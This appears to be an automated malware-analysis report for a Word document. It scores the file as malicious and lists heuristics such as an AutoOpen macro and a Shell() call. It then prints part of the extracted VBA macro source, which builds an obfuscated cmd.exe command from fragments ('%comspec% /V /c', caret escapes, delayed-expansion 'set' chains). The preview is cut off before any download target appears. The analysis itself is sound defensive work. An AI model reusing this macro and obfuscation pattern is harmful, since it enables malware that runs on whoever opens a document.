MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a critical heuristic firing for a Shell() call within VBA macros, specifically within an Autoopen macro. This indicates the document is designed to execute arbitrary commands. The VBA script, though heavily obfuscated, explicitly calls the Shell function, which is the primary mechanism for executing external commands or downloading payloads. The presence of legacy WordBasic markers further supports the malicious intent.
Heuristics 6
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 17190 bytes |
SHA-256: 6634a82b20da2fd01e92b35dc7ddd26ebb9cdf17a384f2c25fc6a3901d177e90 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ZPnNWRYkCCYFsi"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function SGjJo()
On Error Resume Next
For cRSQSc = lzsUs To 69255
ZMlkK = (IbqiM - ChrW(51369 * 72820) * hrFVE * CInt(EKtDo + Sqr(90346)) + 59295 - 10739 / 83861 - CDate(HIUqR - 14836 + 74775 - Hex(QaUBbj / 8261)) + (qBDGmw * Tan(LQOThv)))
Next
For WCjoa = GvtaE To 31849
iEDjJ = (wEcClP - ChrW(17791 * 40890) * aDoFt * CInt(DRRmI + Sqr(1716)) + 72299 - 91186 / 16531 - CDate(BWtIGM - 59052 + 18897 - Hex(wLtAwY / 33723)) + (zVqlzX * Tan(bmmzA)))
Next
SGjJo = tItTFvC + Shell(RhfITJwD + Chr(dNHwbhjjfk + vbKeyC + ACwUYIQVHa) + oFluwIi + djSzCPrSRN + TWRPNrS + dfTlLl + mTsAjojmv + jjcXYKMwbiq + nYLsKwr, tPljPOCoTI + 0 + QFwhXSa)
For LIUZjt = MCOYi To 45063
pKRSNr = (oaSrC - ChrW(98141 * 80184) * TahJjn * CInt(ZaPfC + Sqr(41484)) + 91090 - 13478 / 33891 - CDate(bcOQV - 36856 + 67612 - Hex(jXiBi / 62437)) + (ZfinqV * Tan(HmlqDi)))
Next
End Function
Sub Autoopen()
On Error Resume Next
For zsTAja = aQwHw To 149
QUXsi = (cqMTam - ChrW(75984 * 41432) * fiPATi * CInt(OAwFXz + Sqr(27704)) + 69428 - 62680 / 85678 - CDate(lrRNw - 39510 + 94694 - Hex(GfAaz / 75713)) + (zkTrz * Tan(UlFWtd)))
Next
SGjJo
For dccmi = CiLRj To 90603
GcwOa = (SXBdQ - ChrW(79073 * 89991) * QFLrEr * CInt(jiCNsj + Sqr(71259)) + 42825 - 73447 / 37157 - CDate(wuZsmq - 91178 + 85964 - Hex(qbwMz / 75636)) + (lYAZbD * Tan(WzvBi)))
Next
End Sub
Attribute VB_Name = "hAPKcsAPYS"
Function oFluwIi()
On Error Resume Next
For lzziq = pNDwj To 26673
tbBFR = (uFjZNP - ChrW(86683 * 69357) * AQuGwm * CInt(WSoOw + Sqr(2794)) + 23132 - 52786 / 66636 - CDate(EmJzj - 67657 + 17110 - Hex(RGBXlS / 94487)) + (ENnBdO * Tan(aFjQC)))
Next
HQqjVj = "md c" + "bsdNdGmKp" + "Liu S" + "ir" + "wuqLo"
For stHqz = GanRh To 72554
hjRwhW = (Kwwoj - ChrW(69940 * 79928) * jsASG * CInt(YMujlG + Sqr(81362)) + 25478 - 33805 / 92227 - CDate(PAhjJ - 12239 + 3600 - Hex(kpwuTJ / 29105)) + (hquQP * Tan(AJTXSv)))
Next
LwcAaYXJDcm = "wfjmEWPbO" + " SLQdO" + "XdCizdt" + " & "
For bzfCi = jIsZm To 96654
WncRa = (WlIWW - ChrW(59538 * 81863) * AXMmoG * CInt(JrRrks + Sqr(60704)) + 25870 - 80415 / 32815 - CDate(SrINh - 4409 + 92837 - Hex(YiTbIY / 84893)) + (ikfnzr * Tan(NvKZqd)))
Next
ovBtiz = " %^c^o^m^S^" + "p^E^c^% " + " %^c^o^m" + "^S^" + "p^E" + "^c^% " + " /V " + " /c" + " " + " s"
For XSFOMw = nqKqsi To 2603
QJTsMw = (KdKbzv - ChrW(34211 * 43187) * GRhGAW * CInt(LtEvtU + Sqr(95225)) + 9302 - 18398 / 81846 - CDate(iBFzQ - 89595 + 89603 - Hex(bDlzf / 41938)) + (hjbAu * Tan(uPIzIB)))
Next
izLhEspYv = "et %zYvBCmpnzc" + "ndhwj%=BPvN" + "zCbDBAcYR&&" + "set" + " %kivkdwpoCT%=" + "p&&set %"
For qfFRJZ = UXIAmM To 85606
qatYZZ = (NdIvhk - ChrW(74440 * 95171) * ItLRvz * CInt(qGizK + Sqr(52330)) + 51193 - 27110 / 66578 - CDate(zYhFkb - 18199 + 7108 - Hex(cINrC / 65375)) + (KstAa * Tan(tHDRqa)))
Next
qdlUal = "YhLYkYDDE%=o^w" + "&&" + "set %" + "odpUQfHrDU" + "cmahq%=nvQq" + "mBTDPw&&set" + " %" + "ULfjNSjpVatH"
For mCuNkk = PsXRC To 26989
UKcPjR = (QhUiWB - ChrW(60426 * 50892) * Tkjcf * CInt(OAHRT + Sqr(18351)) + 33910 - 40667 / 53381 - CDate(MVYwbC - 20438 + 16737 - Hex(VUZfNj / 66923)) + (rEjSlz * Tan(wcHOzb)))
Next
AOSHBoTmc = "q%=!%kivk" + "dw" + "poCT%!&&set %" + "zzrzB" + "KQVKzwIQSY%=z" + "uTbWUlfOELifn&"
oFluwIi = HQqjVj + LwcAaYXJDcm + ovBtiz + izLhEspYv + qdlUal + AOSHBoTmc
End Function
Function djSzCPrSRN()
On Error Resume Next
For MsjJfH = aRaamK To 9204
UtikUa = (vfaXc - ChrW(98787 * 96538) * wKOWIj * CInt(EDbLQn + Sqr(12335)) + 84919 - 99625 / 75754 - CDate(IIOfMH - 47620 + 92302 - Hex(DiIiic / 43977)) + (PXnwHY * Tan(iJIJdo)))
Next
AwSQZEMuPzd = "&set %cd" + "LizPdMnjlpjj" + "%=e^r&&" + "set %Yfp" + "DCIFB" + "C%=!%YhLYkYD" + "DE%!&&
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.